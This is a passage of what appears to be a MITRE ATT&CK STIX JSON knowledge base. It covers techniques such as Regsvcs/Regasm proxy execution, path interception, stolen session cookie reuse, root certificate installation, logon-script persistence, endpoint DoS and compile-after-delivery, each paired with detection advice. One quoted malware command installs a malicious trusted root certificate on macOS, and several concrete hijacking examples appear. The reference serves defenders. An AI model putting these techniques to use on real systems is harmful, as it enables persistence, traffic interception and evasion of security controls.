            "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Logon Session: Logon Session Creation",
                "Logon Session: Logon Session Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8",
            "created": "2020-01-23T19:42:16.439Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/009",
                    "external_id": "T1218.009"
                },
                {
                    "source_name": "MSDN Regsvcs",
                    "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx"
                },
                {
                    "source_name": "MSDN Regasm",
                    "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
                },
                {
                    "source_name": "LOLBAS Regsvcs",
                    "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/"
                },
                {
                    "source_name": "LOLBAS Regasm",
                    "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:47:58.456Z",
            "name": "Regsvcs/Regasm",
            "description": "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Casey Smith"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02",
            "created": "2017-05-31T21:30:36.140Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1034",
                    "external_id": "T1034"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/159.html",
                    "external_id": "CAPEC-159"
                },
                {
                    "source_name": "TechNet MS14-019",
                    "description": "Nagaraju, S. (2014, April 8). MS14-019 \u2013 Fixing a binary hijacking via .cmd or .bat file. Retrieved July 25, 2016.",
                    "url": "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/"
                },
                {
                    "source_name": "Microsoft Subkey",
                    "description": "Microsoft. (n.d.). CurrentControlSet\\Services Subkey Entries. Retrieved November 30, 2014.",
                    "url": "http://support.microsoft.com/KB/103000"
                },
                {
                    "source_name": "Baggett 2012",
                    "description": "Baggett, M. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved December 4, 2014.",
                    "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464"
                },
                {
                    "source_name": "SecurityBoulevard Unquoted Services APR 2018",
                    "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018.",
                    "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/"
                },
                {
                    "source_name": "SploitSpren Windows Priv Jan 2018",
                    "description": "McFarland, R. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.",
                    "url": "https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/"
                },
                {
                    "source_name": "Microsoft CreateProcess",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/ms682425"
                },
                {
                    "source_name": "Hill NT Shell",
                    "description": "Hill, T. (n.d.). Windows NT Command Shell. Retrieved December 5, 2014.",
                    "url": "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120"
                },
                {
                    "source_name": "Microsoft WinExec",
                    "description": "Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/ms687393"
                },
                {
                    "source_name": "MSDN Environment Property",
                    "description": "Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:16:07.873Z",
            "name": "Path Interception",
            "description": "**This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**\n\nPath interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\\system32</code> (e.g., <code>C:\\Windows\\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if <code>C:\\example path</code> precedes <code>C:\\Windows\\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\\example path</code> will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Stefan Kanthak"
            ],
            "x_mitre_deprecated": true,
            "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5",
            "created": "2019-10-08T20:08:56.205Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1506",
                    "external_id": "T1506"
                },
                {
                    "source_name": "Pass The Cookie",
                    "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
                    "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"
                },
                {
                    "source_name": "Unit 42 Mac Crypto Cookies January 2019",
                    "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
                }
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T15:16:08.043Z",
            "name": "Web Session Cookie",
            "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Johann Rehberger"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Office 365",
                "SaaS"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839",
            "created": "2020-02-21T21:05:32.844Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1553/004",
                    "external_id": "T1553.004"
                },
                {
                    "source_name": "Operation Emmental",
                    "description": "botconf eu. (2014, December 31). David Sancho - Finding Holes in Banking 2FA: Operation Emmental. Retrieved January 4, 2024.",
                    "url": "https://www.youtube.com/watch?v=gchKFumYHWc"
                },
                {
                    "source_name": "SpectorOps Code Signing Dec 2017",
                    "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
                    "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"
                },
                {
                    "source_name": "Kaspersky Superfish",
                    "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.",
                    "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/"
                },
                {
                    "source_name": "objective-see ay mami 2018",
                    "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x26.html"
                },
                {
                    "source_name": "Microsoft Sigcheck May 2017",
                    "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.",
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck"
                },
                {
                    "source_name": "Tripwire AppUNBlocker",
                    "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.",
                    "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"
                },
                {
                    "source_name": "Wikipedia Root Certificate",
                    "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Root_certificate"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:06.251Z",
            "name": "Install Root Certificate",
            "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)",
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            "x_mitre_contributors": [
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                "Red Canary",
                "Travis Smith, Tripwire",
                "Itzik Kotler, SafeBreach"
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            "x_mitre_detection": "A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under <code>HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\</code> and <code>[HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows"
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Windows Registry: Windows Registry Key Creation"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99",
            "created": "2020-01-10T18:01:03.666Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1037/003",
                    "external_id": "T1037.003"
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                {
                    "source_name": "Petri Logon Script AD",
                    "description": "Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019.",
                    "url": "https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008"
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            "description": "Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems.  \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.",
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            "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "Active Directory: Active Directory Object Modification",
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                "Process: Process Creation",
                "File: File Creation"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4",
            "created": "2019-04-18T11:00:55.862Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1499",
                    "external_id": "T1499"
                },
                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
                },
                {
                    "source_name": "FSISAC FraudNetDoS September 2012",
                    "description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved September 23, 2024.",
                    "url": "https://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf"
                },
                {
                    "source_name": "ArsTechnica Great Firewall of China",
                    "description": "Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019.",
                    "url": "https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/"
                },
                {
                    "source_name": "FireEye OpPoisonedHandover February 2016",
                    "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20201127180357/https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html"
                },
                {
                    "source_name": "USNYAG IranianBotnet March 2016",
                    "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.",
                    "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged"
                },
                {
                    "source_name": "Symantec DDoS October 2014",
                    "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.",
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf"
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            "name": "Endpoint Denial of Service",
            "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n",
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                "Yossi Weizman, Azure Defender Research Team"
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            "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS",
                "Containers",
                "IaaS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Sensor Health: Host Status"
            ],
            "x_mitre_impact_type": [
                "Availability"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617",
            "created": "2020-03-16T15:30:57.711Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/004",
                    "external_id": "T1027.004"
                },
                {
                    "source_name": "ClearSky MuddyWater Nov 2018",
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"
                },
                {
                    "source_name": "ATTACK IQ",
                    "description": "Federico Quattrin, Nick Desler, Tin Tam, & Matthew Rutkoske. (2023, March 16). Hiding in Plain Sight: Monitoring and Testing for Living-Off-the-Land Binaries. Retrieved July 15, 2024.",
                    "url": "https://www.attackiq.com/2023/03/16/hiding-in-plain-sight/"
                },
                {
                    "source_name": "TrendMicro WindowsAppMac",
                    "description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/"
                }
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            "modified": "2025-04-15T19:59:06.564Z",
            "name": "Compile After Delivery",
            "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as ilasm.exe(Citation: ATTACK IQ), csc.exe, or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)",
            "kill_chain_phases": [
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                    "phase_name": "defense-evasion"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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                "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank",
                "Liran Ravich, CardinalOps"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
